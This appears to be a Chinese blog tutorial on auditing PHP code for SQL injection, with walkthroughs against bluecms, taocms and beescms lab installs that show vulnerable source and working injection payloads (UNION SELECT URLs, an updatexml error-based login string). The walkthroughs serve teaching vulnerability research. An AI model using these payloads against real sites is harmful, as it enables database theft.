当前位置: 首页 > news >正文

php之sql代码审计

1 SQL注入代码审计流程

1.1 反向查找流程

通过可控变量(输入点)回溯危险函数 查找危险函数确定可控变量 传递的过程中触发漏洞

1.2 反向查找流程特点

暴力:全局搜索危险函数 简单:无需过多理解目标网站功能与架构 快速:适用于自动化代码审计工具 命中率低:简单的漏洞越来越少 适应性较差:不适合存在全局过滤的站点 无法挖掘逻辑漏洞:逻辑漏洞多数不存在危险函数

1.3 正向查找流程

从入口函数出发 找到控制器,理解URL派发规则 跟踪控制器调用,以理解代码为目标进行源码阅读 阅读代码的过程中,可能发现漏洞

1.4 正向漏洞挖掘特点

复杂:需要了解目标源码的功能与架构 跳跃性大:涉及M/V/C 等多个层面 漏洞的组合:通常是多个漏洞的组合,很可能存在逻辑相关的漏洞 潜力无限:安全研究人员的宝库

1.5 双向查找流程

略读代码,了解架构 是否有全局过滤机制 找到了漏洞点,漏洞利用是否有坑

2 PHP和MySQL连接方式

2.1.传统方法:mysql_connect(已废弃)

在PHP 5.5.0版本之前,开发者经常使用mysql_connect函数来连接MySQL数据库。然而,从PHP 5.5.0开始,这个扩展已经被废弃,并在PHP 7.0.0中完全移除。尽管如此,了解其工作方式对于理解后续的方法仍然是有帮助的。

$con = mysql_connect("localhost", "username", "password");  
if (!$con) {  die("Could not connect: " . mysql_error());  
}  mysql_select_db("my_db", $con);  // 执行查询等操作  
// ...  mysql_close($con);

注意:上述代码示例只是为了演示传统方法的工作原理,并不推荐在实际项目中使用。

2.2 mysqli扩展(面向对象)

mysqli扩展提供了与MySQL数据库的改进和增强连接功能。它是mysql扩展的替代品,并提供了更多的功能和更好的性能。

// 面向对象方式  
$mysqli = new mysqli("localhost", "username", "password", "my_db");  if ($mysqli->connect_errno) {  echo "Connect failed: " . $mysqli->connect_error;  exit();  
}  // 执行查询等操作  
// ...  $mysqli->close();

2.3 PDO(PHP Data Objects)

PDO是PHP数据对象扩展,提供了一个统一的数据访问层,可用于连接不同的数据库系统。与mysqli相比,PDO提供了更广泛的数据库支持和更多的功能。

try {  $pdo = new PDO("mysql:host=localhost;dbname=my_db", "username", "password");  // 设置 PDO 错误模式为异常  $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  // 执行查询等操作  // ...  $pdo = null; // 关闭连接  
} catch (PDOException $e) {  echo "Connection failed: " . $e->getMessage();  
}

2.4 SQL注入漏洞常见过滤方法

intval / addslashes / mysql_real_escape mysqli_escape_string / mysqli_real_escape_string PDO::quote

3 SQL代码审计案例

3.1 bluecms靶场

3.1.1 bluecms靶场搭建

1.下载安装包

到GitHub上搜索bluecms:GitHub - source-trace/bluecms

2.在www文件中解压文件并并名为bluecms

3.开始bluecms环境搭建

游览器访问

http://127.0.0.1/bluecms/install/index.php

点击继续

配置数据库以及管理员账号

然后这个url:http://127.0.0.1/bluecms/出现页面表示安装成功

3.1.2 bluecms代码审计

1 使用seay软件进行代码审计

2.对ad_js.php代码分析

<?php  
/**  * [bluecms] 版权所有 标准网络,保留所有权利  * 这不是免费软件,使用需遵守许可条款  *  * $Id:ad_js.php  // 文件ID或标识符  * $author:lucks  // 作者  */  // 定义一个常量,表示当前脚本在bluecms环境中运行  
define('IN_BLUE', true);  // 引入公共函数库  
require_once dirname(__FILE__) . '/include/common.inc.php';  // 从GET请求中获取ad_id参数,并进行清理(去除两端的空格)  
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';  // 如果ad_id为空,则输出错误并退出  
if(empty($ad_id))  
{  echo 'Error!';  exit();  
}  // 从数据库中查询指定ad_id的广告信息  
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);  // 判断广告的时间设置  
if($ad['time_set'] == 0)  
{  // 如果time_set为0,表示广告没有时间设置,直接返回广告内容  $ad_content = $ad['content'];  
}  
else  
{  // 如果广告有时间设置  if($ad['end_time'] < time())  {  // 如果广告已过期(当前时间大于结束时间),返回过期内容  $ad_content = $ad['exp_content'];  }  else  {  // 如果广告未过期,返回正常内容  $ad_content = $ad['content'];  }  
}  // 对广告内容进行转义,确保在JavaScript中安全使用  
$ad_content = str_replace('"', '\"',$ad_content); // 将双引号替换为转义后的双引号  
$ad_content = str_replace("\r", "\\r",$ad_content); // 将回车符替换为转义后的回车符  
$ad_content = str_replace("\n", "\\n",$ad_content); // 将换行符替换为转义后的换行符  // 输出JavaScript注释和document.write来动态写入广告内容  
// 注释的作用是为了在JavaScript不执行时,这些内容不会作为HTML内容显示在页面上  
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";  ?>

代码分析:

  1. 从GET请求中获取ad_id参数,并进行清理(去除两端的空格)。

  2. 但是没有ad_id进行安全检查。

3.进行sql注入尝试

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1%27

输入?ad_id=-1'发现报错并进行了转移

那就存在sql注入漏洞

现在就爆字段

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1 order by 7--+

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1 order by 8--+

爆出字段数为7

爆数据库

http://127.0.0.1/bluecms/ad_js.php?ad_id=-1%20union%20select%201,2,3,4,5,6,database()

得到数据库为root

3.2 taocms靶场

3.2.1 taocms靶场搭建

1 在GitHub地址下载: Release taoCMS 3.0.2 · taogogo/taocms · GitHub

2 将文件解压到www文件下并命名为taocms

3 在游览器上进行安装

http://192.168.1.18/taocms/install.php

配置数据库信息

先新建一个taocms数据库


|127.0.0.1:3306|root|root|taocms

出现这个页面表示安装成功

3.2.2 taocms代码审计

1 对Datastore.php代码进行分析

<?php
// 定义数据存储类
class Datastore{public $table; // 表名public $db; // 数据库对象public $tpl; // 模板对象public $id; // ID// 构造函数,初始化对象属性function __construct($table,$id=0){$this->table=$table;$this->db=new Dbclass(SYS_ROOT.DB_NAME); // 创建数据库对象$this->tpl=new Template(); // 创建模板对象$this->id=$id;}// 显示表单function display(){include($this->tpl->myTpl('form'.$this->table));}// 创建备份文件function create(){header('Content-type: application/txt'); // 设置响应内容类型为文本文件header('Content-Disposition: attachment; filename="backup-'.date('Y-m-d').'.sql"'); // 设置响应头,触发文件下载$backups=''; // 初始化备份文件内容为空$bulist=explode('|',$_GET['bulist']); // 获取需要备份的表名列表foreach($bulist as $bus){$addsql=($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:''; // 如果表名为cms且有起始和结束条件,则添加限制条件$sql='select * from '.TB.$bus.$addsql; // 构造查询语句$o=$this->db->query($sql); // 执行查询while($data=$this->db->fetch_array($o)){ // 遍历查询结果$colums='';$datas='';foreach($data as $key=>$v){$colums.=$key.','; // 拼接列名$datas.="'".Base::safeword($v)."',"; // 拼接数据,并进行安全处理}// 拼接替换语句,用于恢复数据$backups.= 'REPLACE INTO '.TB.$bus.' ('.substr($colums,0,-1).') VALUES('.substr($datas,0,-1).');'."\n";}}echo substr($backups,0,-2); // 输出备份文件内容,去掉最后的换行符}// 更新数据库数据function update(){$filedata=file_get_contents($_FILES['file']['tmp_name']); // 读取上传的备份文件内容$queryarray = explode(";\n",$filedata); // 按照分号和换行符分割SQL语句foreach ($queryarray as $k =>$v){$this->db->query($v) or Base::showmessage('恢复中出错','-1'); // 执行SQL语句,如果出错则显示错误信息}Base::execmsg("数据恢复成功",'?action=datastore&ctrl=display',TRUE); // 显示恢复成功信息并跳转}
}
?>

2 代码分析

create方法中,虽然使用了Base::safeword($v)对值进行了处理,但列名($key)并未进行任何处理。如果$key来自不可信的源(如用户输入),那么可能存在SQL注入的风险。此外,构造的SQL语句直接使用了$_GET['bulist']$_GET['from']/$_GET['to'],这些值也没有进行任何过滤或验证。

以及点击:生成全部备份文件的请求包

发现bulist后面全是表名

3 sql注入

/taocms/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+UNION+SELECT+(USER()),2,3,4,5,6,7,8

3.3 beecms靶场

3.3.1 beescms靶场搭建

1 安装包下载

程序下载_BEESCMS_小程序源码_企业网站程序!

2 将文件解压到www文件并明命名为beescms文件

3 在游览器上进行安装

http://192.168.1.18/beescms/install/

点击:下一步:检查安装环境

点击下一步:配置系统

配置数据库以及开始安装

出现以下界面表示安装成功

3.3.2 更具cnvd审计beecms

1 cnvd搜索BEESCMS存在企业网站管理系统存在SQL注入漏洞并且与下载cms相同

2 更具漏洞描述以及后台登录的请求发现


确定代码的位置

3 根据代码过滤那些

查看fl_value里的代码

// 定义一个常量,可能是用于某种标识符或密钥  
define('INC_BEES','B'.'EE'.'SCMS');  /**  * 过滤SQL注入关键字  *  * @param string $str 要过滤的字符串  * @return string|null 过滤后的字符串(如果输入为空则返回null)  */  
function fl_value($str){  if(empty($str)){  return; // 如果字符串为空,则返回null  }  // 过滤SQL注入相关的关键字和特殊字符  // 注意:该正则表达式可能不完整,且部分空格可能不是预期的  return preg_replace('/select|insert\s|update\s|and|in|on|left|join|delete|\%|[=]|\/\*|\*|\.\.\/|\.\/|union|from|where|group|into|load_file|outfile/i','',$str);  
}  /**  * 对字符串进行HTML转义以防止XSS攻击  *  * @param string $str 要转义的字符串  * @return string 转义后的字符串  */  
function fl_html($str){  return htmlspecialchars($str);  
}

代码分析

  1. SQL 注入防护不完整fl_value 函数试图通过删除 SQL 关键字来防止 SQL 注入攻击,但是正则表达式存在问题,可能无法有效地防止攻击。

  2. XSS 防护fl_html 函数可以防止跨站脚本攻击,但是如果在其他地方没有正确使用这个函数,仍然可能存在 XSS 漏洞。

3 构建pyaload进行攻击爆出数据库

admin'and updatexml(1,concat(0x7e, select database(), 0x7e),1)#

数据库为beescms

相关文章:

php之sql代码审计

1 SQL注入代码审计流程 1.1 反向查找流程 通过可控变量(输入点)回溯危险函数 查找危险函数确定可控变量 传递的过程中触发漏洞 1.2 反向查找流程特点 暴力&#xff1a;全局搜索危险函数 简单&#xff1a;无需过多理解目标网站功能与架构 快速&#xff1a;适用于自动化代码审…...

【Java用法】java中计算两个时间差

java中计算两个时间差 不多说&#xff0c;直接上代码&#xff0c;可自行查看示例 package org.example.calc;import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import java.time.temporal.ChronoUnit;public class MinusTest {public static void…...

tinymce富文本编辑器使用

安卓富文本编辑器&#xff1a;npm i tinymce/tinymce-vue 当前项目中富文本是放在一个dialog中&#xff0c;因此部分样式会有层叠问题&#xff0c;该组件样式部分不添加scope。这里图片上传只是前端静态数据展示收集。 <template><div class"desc-editor"…...

Java——接口后续

1.Comparable 接口 在Java中&#xff0c;我们对一个元素是数字的数组可以使用sort方法进行排序&#xff0c;如果要对一个元素是对象的数组按某种规则排序&#xff0c;就会用到Comparable接口 当实现Comparable接口后&#xff0c;sort会自动调用Comparable接口里的compareTo 方法…...

最新上市公司控制变量大全(1413+指标)1990-2023年

数据介绍&#xff1a;根据2023年上市公司年报数据进行更新&#xff0c;包括基本信息、财务指标、环境、社会与治理、数字化转型、企业发展、全要素生产率等1413指标。数据范围&#xff1a;A股上市公司数据年份&#xff1a;1990-2023年指标数目&#xff1a;1413个指标&#xff0…...

jmeter多用户并发登录教程

有时候为了模拟更真实的场景&#xff0c;在项目中需要多用户登录操作&#xff0c;大致参考如下 jmx脚本&#xff1a;百度网盘链接 提取码&#xff1a;0000 一&#xff1a; 单用户登录 先使用1个用户登录&#xff08;先把1个请求调试通过&#xff09; 发送一个登录请求&…...

【高频】redis快的原因

相关问题&#xff1a; 1.为什么Redis能够如此快速地进行数据存储和检索&#xff1f; 2.Redis作为内存数据库,其内存存储有什么优势吗? 3.Redis的网络模型有何特点,如何帮助提升性能? 一、问题回答 Redis使用了内存数据结构&#xff0c;例如字符串、哈希表、列表、集合、有…...

hive3从入门到精通(一)

Hive3入门至精通(基础、部署、理论、SQL、函数、运算以及性能优化)1-14章 第1章:数据仓库基础理论 1-1.数据仓库概念 数据仓库&#xff08;英语&#xff1a;Data Warehouse&#xff0c;简称数仓、DW&#xff09;,是一个用于存储、分析、报告的数据系统。 数据仓库的目的是构…...

c++编程(15)——list的模拟实现

欢迎来到博主的专栏——c编程 博主ID&#xff1a;代码小豪 文章目录 前言list的数据结构list的默认构造尾插与尾删iterator插入和删除构造、析构、赋值copy构造initializer_list构造operator 析构函数 前言 受限于博主当前的技术水平&#xff0c;暂时还不能模拟实现出STL当中用…...

【深度学习】吸烟行为检测软件系统

往期文章列表&#xff1a; 【YOLO深度学习系列】图像分类、物体检测、实例分割、物体追踪、姿态估计、定向边框检测演示系统【含源码】【深度学习】YOLOV8数据标注及模型训练方法整体流程介绍及演示【深度学习】行人跌倒行为检测软件系统【深度学习】火灾检测软件系统【深度学…...

​你见过哪些不过度设计的优秀APP?​

优联前端https://ufrontend.com/ 提供一站式企业前端解决方案 “每日故宫”是一款以故宫博物院丰富的藏品为基础&#xff0c;结合日历形式展示每日精选藏品的移动应用。通过这款应用&#xff0c;用户可以随时随地欣赏到故宫的珍贵藏品&#xff0c;感受中华五千年文化的魅力。…...

全栈:session用户会话信息,用户浏览记录实例

PHP中的session是一种存储机制&#xff0c;它允许您存储和跟踪用户在访问Web应用程序时的信息。会话通常用于存储用户特定的数据&#xff0c;如用户ID、购物车内容、用户偏好设置等&#xff0c;这些数据需要在多个页面请求之间保持不变。 session详解 1. 会话是如何工作的 会…...

设计模式--》 装饰模式的应用

装饰模式的定义&#xff1a; 装饰模式&#xff08;Decorator Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许你动态地给一个对象添加一些额外的职责。就增加功能来说&#xff0c;装饰模式相比生成子类更为灵活。 何时应用装饰模式&#xff1f; 1.当需要动态地给…...

深入解析Web前端三大主流框架:Angular、React和Vue

Web前端三大主流框架分别是Angular、React和Vue。下面我将为您详细介绍这三大框架的特点和使用指南。 Angular 核心概念: 组件(Components): 组件是Angular应用的构建块,每个组件由一个带有装饰器的类、一个HTML模板、一个CSS样式表组成。组件通过输入(@Input)和输出(…...

ch3运输层--计算机网络期末复习(持续更新中)

运输层位于网络层之上 运输层协议提供的某些服务受到网络层协议的限制。比如,时限和带宽保证。 运输层也提供自己的特殊服务。比如,可靠数据传输服务,安全性服务。 网络层:两个主机之间的逻辑通信 运输层:两个进程之间的逻辑通信 网络地址:主机的标识(IP地址) 传输地址: …...

mysql中的内连接与外连接

在MySQL中&#xff0c;内连接和外连接是用于从多个表中检索数据的两种不同的连接方式。 内连接&#xff08;INNER JOIN&#xff09;&#xff1a; 内连接返回两个表之间匹配的行。它只返回两个表中共同匹配的行&#xff0c;如果在一个表中没有匹配到对应的行&#xff0c;则不会显…...

0基础认识C语言(理论+实操 2)

小伙伴们大家好&#xff0c;今天也要撸起袖子加油干&#xff01;万事开头难&#xff0c;越学到后面越轻松~ 话不多说&#xff0c;开始正题~ 前提回顾&#xff1a; 接上次博客&#xff0c;我们学到了转义字符&#xff0c;最后留下两个转义字符不知道大家有没有动手尝试了一遍&a…...

ChatGPT的基本原理是什么?又该如何提高其准确性?

在深入探索如何提升ChatGPT的准确性之前&#xff0c;让我们先来了解一下它的工作原理吧。ChatGPT是一种基于深度学习的自然语言生成模型&#xff0c;它通过预训练和微调两个关键步骤来学习和理解自然语言。 在预训练阶段&#xff0c;ChatGPT会接触到大规模的文本数据集&#x…...

云计算OpenStack基础

1.什么是虚拟化&#xff1f; •虚拟化是云计算的基础。 •虚拟化是指计算元件在虚拟的而不是真实的硬件基础上运行。 •虚拟化将物理资源转变为具有可管理性的逻辑资源&#xff0c;以消除物理结构之间的隔离&#xff0c;将物理资源融为一个整体。虚拟化是一种简化管理和优化…...

[10] CUDA程序性能的提升 与 流

CUDA程序性能的提升 与 流 1. CUDA程序性能的提升 在本节中,我们会看到用来遵循的基本的一些性能来提升准则,我们会逐一解释它们1.1 使用适当的块数量和线程数量 研究表明,如果块的数量是 GPU 的流多处理器数量的两倍,则会给出最佳性能,不过,块和线程的数量与具体的算法…...

TH方程学习(1)

一、背景介绍 根据CW方程的学习&#xff0c;CW方程的限制条件为圆轨道&#xff0c;不考虑摄动&#xff0c;二者距离相对较小。TH方程则可以将物体间的相对运动推广到椭圆轨道的二体运动模型&#xff0c;本部分将结合STK的仿真功能&#xff0c;联合考察TH方程的有用性&#xff…...

【九十七】【算法分析与设计】图论,迷宫,1207. 大臣的旅费,走出迷宫,石油采集,after与迷宫,逃离迷宫,3205. 最优配餐,路径之谜

1207. 大臣的旅费 - AcWing题库 很久以前&#xff0c;TT 王国空前繁荣。 为了更好地管理国家&#xff0c;王国修建了大量的快速路&#xff0c;用于连接首都和王国内的各大城市。 为节省经费&#xff0c;TT 国的大臣们经过思考&#xff0c;制定了一套优秀的修建方案&#xff0c;…...

【Tools】SpringBoot工程中,对于时间属性从后端返回到前端的格式问题

Catalog 时间属性格式问题一、需求二、怎么使用 时间属性格式问题 一、需求 对于表中时间字段&#xff0c;后端创建对应的实体类的时间属性需要设定格式&#xff08;默认的格式不方便阅读&#xff09;&#xff0c;再返回给前端。 二、怎么使用 导入jackson相关的坐标&#x…...

算法训练营day35

题目1&#xff1a;122. 买卖股票的最佳时机 II - 力扣&#xff08;LeetCode&#xff09; 贪心算法思路很简单&#xff0c;就是把每一天的利润都算出来&#xff0c;然后把整的加起来就是结果 class Solution { public:int maxProfit(vector<int>& prices) {int resu…...

代码随想录-Day23

669. 修剪二叉搜索树 方法一&#xff1a;递归 class Solution {public TreeNode trimBST(TreeNode root, int low, int high) {if (root null) {return null;}if (root.val < low) {return trimBST(root.right, low, high);} else if (root.val > high) {return trimBS…...

基于Visual Studio版本的AI编程助手

Visual Studio 是一个出色的 IDE,可用于构建适用于 Windows、Mac、Linux、iOS 和 Android 的丰富、精美的跨平台应用程序。 使用一系列技术(例如 WinForms、WPF、WinUI、MAUI 或 Xamarin)构建丰富。 1、安装 点击上方工具栏拓展选项,选择管理拓展选项 接着在联机页面中搜索&q…...

04-Vue:ref获取页面节点--很简单

目录 前言在Vue中&#xff0c;通过 ref 属性获取DOM元素使用 ref 属性获取整个子组件&#xff08;父组件调用子组件的方法&#xff09; 前言 我们接着上一篇文章 03-02-Vue组件之间的传值 来讲。 下一篇文章 05-Vue路由 在Vue中&#xff0c;通过 ref 属性获取DOM元素 我们当然…...

CBK-D2-安全与架构工程.md

CBK-D2-安全与架构工程 密码学和对称密钥算法 密码通信的基础知识 明文P-plaintext、加密encrypt、密文C-ciphertext、解密decrypt、密钥Key 多数情况下,密钥无非是一个极大的二进制数 每一种算法都有一个特定密钥控制key space,是一个特定的数值范围 密钥空间由位大小b…...

Windows驱动开发系列文章一

文章目录 环境搭建如何调试实时调试非实时调试 环境搭建 基本上按照官方网站安装 VisualStudio/SDK/WDK 这些软件就可以了 详情请参考这个安装链接 如何调试 Windows 调试分为两种&#xff1a;一种是实时调试&#xff0c;一种是非实时调试 实时调试 这个就需要用到Microso…...

java项目之人事系统源码(springboot+vue+mysql)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的人事系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 基于vue的人事系统的主要使用者…...